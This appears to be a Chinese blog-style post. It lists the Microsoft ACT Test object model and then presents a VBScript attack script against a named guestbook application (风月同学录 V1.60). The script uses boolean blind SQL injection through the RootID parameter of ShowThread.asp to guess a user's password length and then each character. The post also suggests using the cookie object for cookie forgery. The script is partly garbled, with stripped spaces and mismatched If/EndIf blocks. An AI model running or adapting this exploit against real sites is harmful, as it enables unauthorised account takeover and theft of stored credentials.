-Connection对象
Close方法
Send方法
IsOpen属性
Port属性
RedirectDepth属性
Server属性
UseSSL属性
-Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵
Expires属性
Name属性
Path属性
&#118alue属性
-Cookies对象
Add方法
Remove方法
RemoveAll方法
Count属性
Item属性
-Header对象
Name属性
&#118alue属性
-Request对象
Body属性
CodePage属性
EncodeBody属性
EncodeQueryAsUTF8属性
Headers属性
HTTPVersion属性
Path属性
ResponseBufferSize属性
Verb属性
-Response对象
Body属性//获取HTTP响应的正文。仅返回响应缓冲区中的正文部分。
CodePage属性
BytesRecv属性
BytesSent属性
ContentLength属性
Headers属性
HeaderSize属性
HTTPVersion属性
Path属性
Port属性
ResultCode属性
HTTP状态代码
Server属性
TTFB属性
TTLB属性
UseSSl属性
-Test对象
CreateConnection方法
CreateRequest方法
GetCurrentUser方法
GetGlobalIndex方法
GetGlobalVariable方法
GetNextUser方法
IncrementGlobalIndex方法
SendRequest方法
SetGlobalIndex方法
SetGlobalVariable方法
Sleep方法
Trace方法
TraceLevel属性
-User对象
Cookies属性
Name属性
Password属性
到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://"&g_sServer&"/testfiles/browser.asp"),Test对象的SendRequest方法说明:
oResponse=Test.SendRequest(strURL)
参数:strURLasstring:表示所请求的URL
返回值:oResponseAsReponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象)
这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sqlinjection,网上的sqlinjection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:
topicid=request("RootID")
sql="selecttopic,hitsfrombbs
whereparentid=0andbbsid="&topicid
setrs=conn.execute(sql)
...
http://192.168.101.16/txl/
ShowThread.asp?RootID=7 and 1=1
http://192.168.101.16/txl/
ShowThread.asp?RootID=7 and 1=2
数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。
要使用这个对象要装MicrosoftACT是VisualStudio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。
风月同学录V1.60漏洞测试脚本byluoluo
注意:需要装VisualStudio.Net里的ACT工具
*********************************************
OptionExplicit
OnErrorResumeNext
Dimo_Response
DimWrong
Dimi,j,k
Dimpwd_len
Dimpwd
Dimstrings
Dimusername
IfWScript.Arguments.Count>0Then
username=WScript.Arguments(0)
Else
username="luoluo"
EndIf
Wrong="luoluoisachinesehacker"
存放密码
pwd=""
密码的字符范围
strings="0123456789abcdefghijklmnopqrstuvwxyz"
SetTest=CreateObject("ACT.Test")
Fori=0to128step1
发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些
Seto_Response=Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?RootID
=7 and exists
(select userid from student where len
(userpwd)="&i&" and userid="&username&")")
Ifinstr(o_Response.Body,Wrong)<>0Then
pwd_len=""&i&""
EndIf
Next
Forj=1topwd_lenstep1
Fork=1tolen(strings)step1
Seto_Response=Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?
RootID=7 and exists
(select userid from student where left
(userpwd,"&j&")="&pwd&mid(strings,k,1)
&" and userid="&username&")")
pwd=pwd&mid(strings,k,1)
EndIf
Next
Next
WScript.Echo"错误:"&Error.Description
Error.Clear
Else
输出密码
WScript.Echo"密码:"&pwd
EndIf